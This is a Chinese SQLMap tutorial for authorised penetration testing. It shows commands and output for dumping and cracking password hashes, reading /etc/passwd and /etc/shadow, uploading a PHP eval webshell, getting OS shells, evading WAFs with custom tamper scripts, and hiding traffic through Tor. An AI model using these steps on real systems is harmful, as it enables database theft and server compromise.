SQLMap高级使用技巧与自动化注入实战指南 | 从入门到精通的完整教程
【合规声明】
本文内容仅供安全研究、授权渗透测试及教学使用。请勿将本文所述技术
用于未经授权的系统。使用SQLMap对任何目标进行测试前,必须获得目标
所有者的书面授权。违反《中华人民共和国网络安全法》等相关法律法规
的行为将承担法律责任。读者应确保自身行为合法合规,作者不对任何
滥用行为承担责任。
一、简介
SQLMap是当前最强大的开源SQL注入自动化检测与利用工具,由Bernardo
Damele和Miroslav Stampar开发维护,支持GitHub开源社区协作。它能够
自动识别并利用SQL注入漏洞,覆盖几乎所有主流数据库系统(MySQL、
Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、
SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB等)。
与Burp Suite的注入检测插件不同,SQLMap专注于SQL注入的深度利用,
具备完整的数据库指纹识别、数据枚举、文件系统访问、操作系统命令
执行等后渗透能力,是渗透测试工程师的必备工具。
本文不是讲解SQL注入漏洞原理的入门文章,而是聚焦于SQLMap工具本身
的高级使用技巧、参数详解、WAF绕过策略、Tamper脚本开发及自动化批
量扫描等实战内容,适合有一定基础的渗透测试人员进阶学习。
二、SQLMap概述与安装配置
2.1 SQLMap功能特性介绍
SQLMap的核心功能可以分为以下几大类:
| 功能类别 | 具体能力说明 |
|---------------|---------------------------------------------------|
| 检测能力 | 自动识别SQL注入漏洞类型,支持6种注入技术 |
| 数据库指纹 | 精确识别数据库类型、版本、架构信息 |
| 数据枚举 | 枚举数据库、表、列、schema、数据条数 |
| 数据导出 | 完整导出指定库表数据,支持多线程加速 |
| 文件系统操作 | 读取/写入服务器文件系统 |
| 操作系统命令 | 获取OS Shell,执行系统命令,反弹Shell |
| WAF绕过 | 内置70+ Tamper脚本,支持自定义绕过策略 |
| 注入类型支持 | 布尔盲注、时间盲注、报错注入、联合查询、堆叠查询、内联 |
| 代理支持 | HTTP/HTTPS代理、Tor匿名网络、SOCKS代理 |
| API模式 | 提供RESTful API,支持多任务并行调度 |
SQLMap支持的6种注入技术(--technique参数):
| 代号 | 注入类型 | 英文名称 | 说明 |
|-----|-------------------|------------------------|-------------------------------|
| B | 布尔盲注 | Boolean-based blind | 通过真/假条件判断逐位提取数据 |
| E | 报错注入 | Error-based | 利用数据库报错信息回显数据 |
| U | 联合查询注入 | UNION query-based | 使用UNION合并查询结果集 |
| S | 堆叠查询注入 | Stacked queries | 利用分号执行多条SQL语句 |
| T | 时间盲注 | Time-based blind | 通过延时函数判断条件真假 |
| Q | 内联查询注入 | Inline queries | 利用子查询内联执行 |
2.2 安装方法
方法一:pip安装(推荐通用环境)
```
pip install sqlmap
```
升级到最新版本:
```
pip install --upgrade sqlmap
```
方法二:Git克隆安装(推荐,获取最新代码)
```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version
```
【提示】Git克隆方式可以获取最新功能和Bug修复,比pip发布的版本更新。
建议生产环境使用Git克隆方式,定期执行 git pull 更新。
方法三:Kali Linux内置
Kali Linux默认已预装SQLMap,可直接使用:
```
sqlmap --version
sqlmap -h
sqlmap -hh
```
更新Kali中的SQLMap:
```
apt update && apt install sqlmap
```
验证安装:
```
python sqlmap.py --version
```
预期输出:
```
[*] starting @2026-01-01 12:00:00.000000
1.8#stable (PR commit info omitted)
```
2.3 配置文件sqlmap.conf详解
SQLMap支持通过配置文件管理常用参数,避免每次输入冗长命令。
配置文件位于 sqlmap/txt/common-outputs.txt 同目录下,或自定义创建。
创建自定义配置文件:
```
# sqlmap.conf 内容示例
# 目标设置
url = http://target.example.com/page.php?id=1
# 请求设置
method = GET
data = username=admin&password=123456
cookie = PHPSESSID=abc123def456
random-agent = True
# 检测设置
level = 3
risk = 2
dbms = MySQL
technique = BEUSTQ
# 注入设置
tamper = space2comment,charencode
# 数据提取
threads = 5
batch = True
```
使用配置文件:
```
sqlmap -c sqlmap.conf
```
常用配置文件参数说明表:
| 配置项 | 对应命令行参数 | 说明 | 默认值 |
|------------------|-------------------|------------------------------|-----------|
| url | -u / --url | 目标URL | - |
| method | --method | HTTP请求方法 | GET |
| data | --data | POST提交数据 | - |
| cookie | --cookie | HTTP Cookie头 | - |
| randomAgent | --random-agent | 随机User-Agent | False |
| level | --level | 检测级别(1-5) | 1 |
| risk | --risk | 风险级别(1-3) | 1 |
| dbms | --dbms | 指定后端数据库类型 | - |
| technique | --technique | 指定注入技术 | BEUSTQ |
| tamper | --tamper | Tamper脚本 | - |
| threads | --threads | 并发线程数 | 1 |
| batch | --batch | 批处理模式(非交互) | False |
| timeout | --timeout | 请求超时(秒) | 30 |
| retries | --retries | 重试次数 | 3 |
| proxy | --proxy | 代理地址 | - |
| outputFile | --output-dir | 输出目录 | - |
| flushSession | --flush-session | 清除会话 | False |
三、核心参数与基础用法
3.1 目标参数详解
| 参数 | 完整名称 | 功能说明 | 示例 |
|------------|-----------------|------------------------------------|------------------------------|
| -u | --url | 指定单个目标URL | -u "http://target.com/?id=1" |
| -m | - | 从文件批量读取URL | -m urls.txt |
| -r | - | 从文件加载HTTP请求(支持Burp导出) | -r request.txt |
| -g | - | 使用Google dork搜索目标 | -g "inurl:php?id=" |
| --data | - | 指定POST数据 | --data "user=admin&pass=1" |
| -l | - | 从Burp/log文件加载目标 | -l burp_log.txt |
| --crawl | - | 从目标URL开始爬取 | --crawl=3 |
| --forms | - | 自动解析页面表单 | --forms |
| -d | - | 直连数据库(非HTTP) | -d "mysql://user:pass@host" |
【示例】单URL检测:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch
```
【示例】批量URL检测:
```
# urls.txt 内容:
# http://192.168.1.100/page.php?id=1
# http://192.168.1.101/article.php?art_id=5
# http://192.168.1.102/view.php?v=3
sqlmap -m urls.txt --batch --smart
```
【示例】使用请求文件(从Burp Suite导出):
```
# request.txt 内容:
POST /login.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
username=admin&password=test123
```
执行检测:
```
sqlmap -r request.txt -p username --batch
```
【提示】使用 -r 参数时,SQLMap会自动解析请求方法、请求头、POST数据,
无需再手动指定 --data。可以用星号 * 标记特定注入点:
username=admin*&password=test123
这表示只在 username 参数上测试注入。
【示例】POST数据直接检测:
```
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=123" -p username --batch
```
3.2 检测参数详解
【--level 参数详解】
| 级别 | 检测范围 | 测试参数位置 | 适用场景 |
|-----|--------------------------------------------------|------------------------|-------------------|
| 1 | 默认级别,仅测试GET/POST参数 | URL参数、POST表单数据 | 快速检测 |
| 2 | 增加Cookie测试 | 上述+Cookie | Cookie注入检测 |
| 3 | 增加User-Agent和Referer测试 | 上述+UA+Referer | HTTP头注入检测 |
| 4 | 增加Host头测试 | 上述+Host头 | 深度检测 |
| 5 | 最高级别,测试所有可能的注入点 | 所有HTTP头+所有参数 | 全面深度检测 |
【提示】--level 提高会显著增加检测时间。日常测试建议 level 3,
全面渗透测试建议 level 5。level 2 及以上会检测 Cookie 注入。
【--risk 参数详解】
| 级别 | 风险说明 | 副作用 |
|-----|-------------------------------------------------|-------------------------------|
| 1 | 默认级别,使用安全的测试payload | 无副作用,适合生产环境 |
| 2 | 增加基于大量OR的布尔测试(OR-based boolean) | 可能修改数据库数据(UPDATE等) |
| 3 | 增加OR-based SQL注入测试,测试更多payload | 可能修改/删除数据,风险较高 |
【警告】--risk 3 会执行如 OR 1=1 类型的测试,可能导致数据库记录被
修改。生产环境务必使用 --risk 1,仅在测试环境中使用 risk 2-3。
【--dbms 指定数据库类型】
```
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql --batch
```
支持的数据库名称:
| 数据库 | --dbms参数值 |
|--------------|------------------|
| MySQL | mysql |
| Oracle | oracle |
| PostgreSQL | postgresql |
| MS SQL Server| mssql |
| MS Access | access |
| SQLite | sqlite |
| IBM DB2 | db2 |
| Firebird | firebird |
| Sybase | sybase |
| SAP MaxDB | maxdb |
| HSQLDB | hsqldb |
【--technique 指定注入类型】
默认 SQLMap 会尝试所有注入技术(BEUSTQ)。可以指定单一技术:
```
# 仅测试联合查询注入
sqlmap -u "http://target.com/page.php?id=1" --technique=U --batch
# 仅测试布尔盲注和时间盲注
sqlmap -u "http://target.com/page.php?id=1" --technique=BT --batch
# 仅测试报错注入
sqlmap -u "http://target.com/page.php?id=1" --technique=E --batch
```
【提示】明确知道数据库类型和注入技术时,指定 --dbms 和 --technique
可以大幅减少检测时间,提高效率。
3.3 注入点检测流程详解
SQLMap的注入检测遵循以下流程:
步骤1:连接目标并获取基础响应
步骤2:识别后端数据库类型(若未指定--dbms)
步骤3:对每个参数位置逐一测试注入技术
步骤4:确认注入点后,选择最高效的注入技术
步骤5:获取数据库指纹信息
步骤6:等待用户选择后续操作(枚举/导出等)
实际检测命令演示:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch --level=3 --risk=1
# 预期输出示例:
[*] starting @2026-01-01 12:00:00.000000
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY'
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
[INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[INFO] target URL appears to have 3 columns in query
[INFO] GET parameter 'id' is vulnerable
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2315=2315
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
Payload: id=1 AND (SELECT 2315 FROM(SELECT COUNT(*),CONCAT(...))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(...)
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
```
四、数据提取操作
4.1 数据库指纹识别
确认注入点后,首先获取数据库基础信息:
```
# 获取数据库Banner信息(版本)
sqlmap -u "http://192.168.1.100/news.php?id=1" --banner --batch
# 获取当前用户
sqlmap -u "http://192.168.1.100/news.php?id=1" --current-user --batch
# 获取当前数据库名
sqlmap -u "http://192.168.1.100/news.php?id=1" --current-db --batch
# 检测当前用户是否为DBA(数据库管理员)
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch
# 获取数据库主机名
sqlmap -u "http://192.168.1.100/news.php?id=1" --hostname --batch
# 一次性获取所有指纹信息
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--banner --current-user --current-db --is-dba --hostname \
--batch
```
预期输出:
```
[INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.4.3
back-end DBMS: MySQL >= 5.0
banner: '5.7.33-0ubuntu0.18.04.1'
current user: 'webapp_user@localhost'
current database: 'webapp_db'
hostname: 'webserver-01'
current user is DBA: False
```
【注意】--is-dba 返回 True 表示当前用户拥有DBA权限,可以执行
--os-shell、--file-read、--file-write 等高危操作。
4.2 枚举命令
| 枚举命令 | 功能说明 | 示例 |
|---------------|--------------------------------------|----------------------------------------|
| --dbs | 枚举所有数据库名 | --dbs |
| --tables | 枚举指定库的所有表 | --tables -D webapp_db |
| --columns | 枚举指定表的列信息 | --columns -D webapp_db -T users |
| --schema | 枚举所有库的表结构 | --schema |
| --count | 统计指定表的数据条数 | --count -D webapp_db -T users |
| --dump | 导出指定表的数据 | --dump -D webapp_db -T users |
| --dump-all | 导出所有数据库所有表数据 | --dump-all --exclude-sysdbs |
| --search | 搜索列名/表名/数据库名 | --search -C password -T user |
【示例】枚举所有数据库:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --dbs --batch
```
输出示例:
```
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] webapp_db
```
【示例】枚举指定数据库的表:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --tables -D webapp_db --batch
```
输出示例:
```
Database: webapp_db
[5 tables]
+----------+
| users |
| news |
| articles |
| config |
| logs |
+----------+
```
【示例】枚举指定表的列:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --columns -D webapp_db -T users --batch
```
输出示例:
```
Database: webapp_db
Table: users
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(64) |
| email | varchar(100)|
| role | varchar(20) |
+----------+-------------+
```
【示例】统计表数据条数:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --count -D webapp_db -T users --batch
```
输出示例:
```
Database: webapp_db
Table: users
[1 entry]
+-------+
| users |
+-------+
| 1523 |
+-------+
```
【示例】搜索功能(按列名搜索):
```
# 搜索包含"password"列的所有表
sqlmap -u "http://192.168.1.100/news.php?id=1" --search -C "password" --batch
# 搜索包含"user"的表名
sqlmap -u "http://192.168.1.100/news.php?id=1" --search -T "user" --batch
4.3 数据导出
【示例】导出指定表数据:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--dump -D webapp_db -T users \
--batch --threads=5
```
输出示例:
```
Database: webapp_db
Table: users
[3 entries]
+----+----------+----------------------------------+-------------------+--------+
| id | username | password | email | role |
+----+----------+----------------------------------+-------------------+--------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@test.com | admin |
| 2 | user1 | e10adc3949ba59abbe56e057f20f883e | user1@test.com | user |
| 3 | test | 098f6bcd4621d373cade4e832627b4f6 | test@test.com | user |
+----+----------+----------------------------------+-------------------+--------+
[INFO] cracked password hashes for table 'users' in database 'webapp_db':
[INFO] cracked password 'admin' for hash 21232f297a57a5a743894a0e4a801fc3
[INFO] cracked password '123456' for hash e10adc3949ba59abbe56e057f20f883e
```
【提示】SQLMap默认会尝试使用自带的密码字典破解MD5/SHA1等哈希。
导出的数据保存在 ~/.local/share/sqlmap/output/ 目录下的CSV文件中。
【示例】导出指定列数据:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--dump -D webapp_db -T users -C "username,password" \
--batch
```
【示例】导出时跳过系统数据库:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--dump-all --exclude-sysdbs --batch --threads=5
```
【示例】交互式SQL Shell:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --sql-shell --batch
```
进入交互式Shell后可以执行任意SQL:
```
sql-shell> SELECT version();
sql-shell> SELECT * FROM webapp_db.users LIMIT 5;
sql-shell> SHOW VARIABLES LIKE '%secure%';
sql-shell> exit
```
【示例】执行单条SQL查询:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--sql-query="SELECT username,password FROM webapp_db.users WHERE role='admin'" \
--batch
```
4.4 文件系统操作
【注意】文件系统操作需要当前数据库用户具有FILE权限或DBA权限。
MySQL中还需满足 secure_file_priv 配置允许的路径。
【示例】读取服务器文件:
```
# 读取/etc/passwd
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--file-read="/etc/passwd" --batch
# 读取Web配置文件
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--file-read="/var/www/html/config.php" --batch
```
输出示例:
```
[INFO] fetching file: '/etc/passwd'
[INFO] the local file '/root/.local/share/sqlmap/output/192.168.1.100/files/_etc_passwd' \
and the remote file '/etc/passwd' have the same size (1523 B)
files saved to:
/root/.local/share/sqlmap/output/192.168.1.100/files/_etc_passwd
```
【示例】上传文件到服务器:
```
# 上传webshell
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/uploads/shell.php" \
--batch
```
shell.php 示例内容(一句话木马):
```php
<?php @eval($_POST['cmd']); ?>
```
【警告】文件写入操作需要知道Web根路径。可通过报错信息、phpinfo()
页面、--os-shell等途径获取Web根路径。上传文件务必仅在授权环境中进行。
4.5 操作系统命令执行
| 参数 | 功能说明 | 风险等级 |
|-------------|------------------------------------------|---------|
| --os-shell | 获取交互式操作系统Shell | 极高 |
| --os-cmd | 执行单条操作系统命令 | 极高 |
| --os-pwn | 获取OOB(带外)Shell,反弹Shell到攻击者 | 极高 |
| --os-bof | 利用存储过程缓冲区溢出 | 极高 |
| --os-smbrelay| SMB中继攻击 | 极高 |
【示例】获取OS Shell:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch
```
SQLMap获取OS Shell的原理:
1. 确认当前用户是否为DBA
2. 尝试通过UDF(User Defined Function)提权
3. MySQL:上传.so/.dll共享库文件并创建自定义函数
4. MSSQL:利用xp_cmdshell存储过程
5. 获取交互式Shell后可执行任意系统命令
预期输出:
```
[INFO] checking if the current user is DBA
[INFO] going to upload a shared library
[INFO] the file stager has been successfully uploaded to '/var/www/html/' ... \
and is accessible through 'http://192.168.1.100/tmpumqlp.php'
[INFO] uploading the shared library to the file system
[INFO] the shared library has been uploaded to '/usr/lib/mysql/plugin/'
[INFO] creating UDF 'sys_exec' from the binary
[INFO] the shell prompt statement is available, you can now execute commands
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> uname -a
command standard output: 'Linux webserver-01 5.4.0-42-generic ... x86_64 GNU/Linux'
os-shell> exit
```
【示例】执行单条命令:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--os-cmd="cat /etc/shadow" --batch
```
【警告】--os-shell 和 --os-cmd 会留下明显的系统日志痕迹,且可能
触发安全设备告警。务必仅授权测试使用。
五、高级注入技巧
5.1 Tamper脚本详解
Tamper是SQLMap最强大的功能之一,它允许在注入payload发送前对payload
进行编码、变形、混淆等处理,从而绕过WAF/IPS等安全防护设备。
Tamper工作原理:
1. SQLMap生成原始注入payload
2. Tamper脚本接收原始payload作为参数
3. Tamper脚本对payload进行变形处理
4. 变形后的payload被发送到目标
5. 目标WAF无法识别变形后的payload,放行请求
6. SQLMap根据响应判断注入是否成功
Tamper脚本存放路径:
```
sqlmap/tamper/
```
查看所有可用tamper脚本:
```
sqlmap --list-tampers
```
常用Tamper脚本功能对比表:
| Tamper脚本名称 | 功能说明 | 适用WAF |
|------------------------|--------------------------------------------------|-----------------|
| space2comment | 将空格替换为/**/注释 | 通用 |
| space2dash | 将空格替换为--注释后跟随机字符串 | 通用 |
| space2plus | 将空格替换为+号 | 通用 |
| space2randomblank | 将空格替换为随机空白字符(Tab/换行/注释等) | 通用 |
| space2mssqlblank | 将空格替换为MSSQL有效空白字符 | MSSQL |
| space2mssqlhash | 将空格替换为#号加换行 | MSSQL |
| space2mysqlblank | 将空格替换为MySQL有效空白字符 | MySQL |
| space2hash | 将空格替换为#号加随机字符串 | MySQL |
| charencode | 对payload进行URL全编码 | 通用 |
| charunicodeencode | 对payload进行Unicode URL编码 | 通用/WAF严格 |
| chardoubleencode | 对payload进行双重URL编码 | WAF双重检测 |
| between | 将>替换为NOT BETWEEN,=替换为BETWEEN | 通用 |
| randomcase | 对SQL关键字进行随机大小写混淆 | 通用 |
| apostrophemask | 将单引号替换为UTF-8全角字符 | 通用 |
| apostrophenullencode | 将单引号替换为非法双Unicode编码 | 通用 |
| halfversionedmorekeywords | 在关键字前加MySQL版本注释 | MySQL<5.1 |
| modsecurityversioned | 使用MySQL版本注释绕过ModSecurity | ModSecurity |
| modsecurityzeroversion | 使用MySQL零版本注释绕过ModSecurity | ModSecurity |
| unionalltounion | 将UNION ALL替换为UNION | 通用 |
| securesphere | 在关键字后添加securesphere特殊字符串 | SecureSphere |
| percentage | 在每个字符前添加%号 | ASP/IIS |
| sp_password | 在payload末尾追加sp_password隐藏日志 | MSSQL |
| varnish | 添加X-Originating-IP头绕过Varnish防火墙 | Varnish |
| xforwardedfor | 添加伪造的X-Forwarded-For头 | 通用 |
| base64encode | 对payload进行Base64编码 | 通用 |
| appendnullbyte | 在payload末尾追加%00空字节 | ASP/IIS |
| equaltolike | 将=替换为LIKE | 通用 |
| greatest | 将>替换为GREATEST函数 | 通用 |
| ifnull2ifisnull | 将IFNULL替换为IF IS NULL | MySQL |
| magicquotes | 绕过PHP magic_quotes_gpc | PHP |
| equaltolike | 将等号替换为LIKE | 通用 |
【示例】使用单个tamper:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=space2comment --batch
```
【示例】组合使用多个tamper(逗号分隔):
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=space2comment,charencode,randomcase --batch
```
【提示】Tamper组合不是越多越好。多个tamper叠加可能导致payload变形
过度,反而影响注入成功率。建议根据WAF特征选择2-3个最匹配的tamper。
5.2 自定义Tamper脚本开发
Tamper脚本本质是Python模块,必须实现 tamper(payload, **kwargs) 函数。
Tamper脚本标准模板:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2026 Custom Tamper Script
License: GNU General Public License v3.0
Custom tamper script for bypassing specific WAF rules.
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
"""检查依赖,可选函数"""
pass
def tamper(payload, **kwargs):
"""
对注入payload进行变形处理
Args:
payload (str): 原始注入payload
**kwargs: 额外参数
Returns:
str: 变形后的payload
"""
# 在此编写payload变形逻辑
retVal = payload
# 示例:将空格替换为内联注释
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in range(len(payload)):
char = payload[i]
# 处理单引号内的内容(不变形)
if char == "'" and not doublequote:
quote = not quote
retVal += char
continue
elif char == '"' and not quote:
doublequote = not doublequote
retVal += char
continue
# 第一个空格替换为内联注释
elif not quote and not doublequote and char == ' ' and not firstspace:
retVal += "/**/"
firstspace = True
continue
# 其余空格替换为%0a(换行符)
elif not quote and not doublequote and char == ' ':
retVal += "%0a"
continue
else:
retVal += char
continue
return retVal
```
【实战示例1】编写绕过关键字过滤的tamper(替换UNION SELECT):
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Tamper: unionselect_bypass
Description: 将UNION SELECT拆分为UNION/*!50000SELECT*/绕过关键字过滤
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
将 UNION SELECT 替换为 UNION/*!50000SELECT*/
将 AND 替换为 /*!50000AND*/
将 OR 替换为 /*!50000OR*/
"""
retVal = payload
if payload:
retVal = retVal.replace("UNION", "UNION/*!50000")
retVal = retVal.replace("SELECT", "SELECT*/")
retVal = retVal.replace(" AND ", "/*!50000AND*/")
retVal = retVal.replace(" OR ", "/*!50000OR*/")
retVal = retVal.replace(" ORDER BY ", "/*!50000ORDER*/ /*!50000BY*/")
return retVal
```
【实战示例2】编写双重编码tamper:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Tamper: double_url_encode
Description: 对payload进行双重URL编码,绕过只解码一次的WAF
"""
from lib.core.enums import PRIORITY
from lib.core.convert import urldecode
from urllib.parse import quote
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
对payload进行双重URL编码
第一层编码后,对%号再进行编码
"""
retVal = payload
if payload:
# 第一层URL编码
retVal = quote(payload, safe='')
# 第二层:将%替换为%25
retVal = retVal.replace('%', '%25')
return retVal
```
【实战示例3】编写自定义WAF绕过tamper(针对特定WAF规则):
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Tamper: custom_waf_bypass
Description: 针对特定WAF规则组合多种绕过技术
1. 关键字随机大小写
2. 空格替换为多种变体
3. 关键字内嵌注释
4. 特殊字符编码
"""
import re
import random
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def dependencies():
pass
def tamper(payload, **kwargs):
"""
多重变形绕过WAF
"""
retVal = payload
if payload:
# 步骤1:SQL关键字随机大小写混淆
keywords = ['SELECT', 'UNION', 'FROM', 'WHERE', 'AND', 'OR',
'ORDER', 'BY', 'INSERT', 'UPDATE', 'DELETE',
'CONCAT', 'GROUP', 'LIMIT', 'HAVING', 'CASE',
'WHEN', 'THEN', 'ELSE', 'END', 'SUBSTR', 'COUNT']
for kw in keywords:
# 随机大小写混合
mixed = ''.join(
c.upper() if random.random() > 0.5 else c.lower()
for c in kw
)
retVal = retVal.replace(kw, mixed)
# 步骤2:空格替换为随机空白变体
space_variants = ['/**/', '/*random*/', '%0a', '%09', '%0d%0a']
parts = retVal.split(' ')
retVal = parts[0]
for part in parts[1:]:
retVal += random.choice(space_variants) + part
# 步骤3:在UNION和SELECT之间插入注释
retVal = re.sub(
r'(UNION)(\s+)(SELECT)',
r'\1/**/%0a\3',
retVal,
flags=re.IGNORECASE
)
# 步骤4:等号替换为LIKE
retVal = retVal.replace('=', ' LIKE ')
# 步骤5:单引号替换为Unicode编码
retVal = retVal.replace("'", "%u0027")
return retVal
```
将自定义tamper脚本保存到 sqlmap/tamper/ 目录下,文件名即为tamper名称:
```
cp custom_waf_bypass.py sqlmap/tamper/custom_waf_bypass.py
```
使用自定义tamper:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tamper=custom_waf_bypass --batch
```
【注意】自定义tamper脚本必须放在 sqlmap/tamper/ 目录下,文件名与
tamper参数值一致(不含.py后缀)。脚本中 __priority__ 决定多个tamper
的执行顺序,PRIORITY.HIGHEST 最先执行。
5.3 二阶注入检测
二阶注入(Second-Order SQL Injection)是指注入payload先被存储到数据库
中,在后续查询中被执行。SQLMap通过 --second-order 参数支持检测。
【示例】二阶注入检测:
```
# 第一步:在注册页面提交包含注入payload的用户名
# 第二步:在个人资料页面查看时触发payload执行
sqlmap -u "http://192.168.1.100/register.php" \
--data="username=test'&email=test@test.com" \
--second-order="http://192.168.1.100/profile.php" \
--batch --level=3
```
--second-order 参数说明:
- 指定二阶注入响应的URL
- SQLMap会在第一阶段URL提交payload后,访问第二阶段URL检查响应
- 支持正则匹配提取响应内容:--second-order="http://target.com/page.php" --second-req=second_request.txt
【示例】使用请求文件进行二阶注入检测:
```
# first_request.txt - 第一阶段请求(提交payload)
POST /register.php HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
username=test*&email=a@b.com
# second_request.txt - 第二阶段请求(查看触发)
GET /profile.php HTTP/1.1
Host: 192.168.1.100
Cookie: PHPSESSID=valid_session_id
```
执行检测:
```
sqlmap -r first_request.txt \
--second-req=second_request.txt \
--second-order="http://192.168.1.100/profile.php" \
--batch --level=3
```
5.4 注入点伪静态URL处理
【示例】爬虫模式自动发现注入点:
```
# 从首页开始爬取,深度为3
sqlmap -u "http://192.168.1.100/" --crawl=3 --batch
# 爬取并自动检测表单
sqlmap -u "http://192.168.1.100/" --crawl=3 --forms --batch
# 爬取并指定排除路径
sqlmap -u "http://192.168.1.100/" --crawl=3 \
--crawl-exclude="logout|admin" --batch
```
【示例】伪静态URL处理(使用星号标记注入点):
```
# 伪静态URL: http://target.com/article/123.html
# 在数字后添加*标记注入点
sqlmap -u "http://192.168.1.100/article/1*.html" --batch
```
【提示】伪静态URL(如 /article/123.html)SQLMap默认可能无法自动识别
注入点。在需要测试的参数位置添加 * 号可以强制指定注入点。
【示例】自动表单检测:
```
sqlmap -u "http://192.168.1.100/login.php" --forms --batch --crawl=2
```
5.5 HTTP请求定制
| 参数 | 功能说明 | 示例 |
|-----------------|----------------------------------|----------------------------------------|
| --cookie | 设置Cookie | --cookie="PHPSESSID=abc123" |
| --user-agent | 设置User-Agent | --user-agent="Mozilla/5.0" |
| --random-agent | 随机切换User-Agent | --random-agent |
| --referer | 设置Referer头 | --referer="http://target.com/index.php"|
| --headers | 自定义多个HTTP头 | --headers="X-Forwarded-For: 1.2.3.4" |
| --host | 设置Host头 | --host="target.com" |
| --method | 强制HTTP方法 | --method=PUT |
| --delay | 请求间隔延时(秒) | --delay=2 |
| --timeout | 请求超时(秒) | --timeout=60 |
| --retries | 重试次数 | --retries=5 |
| --keep-alive | 使用HTTP长连接 | --keep-alive |
| --csrf-token | 指定CSRF Token参数名 | --csrf-token="csrf_token" |
| --csrf-url | 获取CSRF Token的URL | --csrf-url="http://target.com/token" |
【示例】完整HTTP请求定制:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--cookie="PHPSESSID=abc123def456; security=low" \
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
--referer="http://192.168.1.100/index.php" \
--headers="X-Forwarded-For: 127.0.0.1\nX-Custom: test" \
--delay=1 \
--timeout=30 \
--retries=3 \
--batch
```
【示例】CSRF Token自动处理:
```
# 当目标需要CSRF Token时,SQLMap自动获取并携带
sqlmap -u "http://192.168.1.100/form.php?id=1" \
--data="name=test&csrf_token=xxx" \
--csrf-token="csrf_token" \
--csrf-url="http://192.168.1.100/form.php" \
--batch
```
5.6 代理与认证
【示例】使用HTTP代理:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--proxy="http://127.0.0.1:8080" \
--batch
```
【示例】代理认证:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--proxy="http://127.0.0.1:8080" \
--proxy-cred="user:password" \
--batch
```
【示例】使用Tor匿名网络:
```
# 需要先安装并启动Tor服务
service tor start
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--tor --tor-type=SOCKS5 \
--check-tor \
--batch
```
【示例】HTTP认证:
```
# Basic认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--auth-type=Basic \
--auth-cred="admin:password" \
--batch
# Digest认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
--auth-type=Digest \
--auth-cred="admin:password" \
--batch
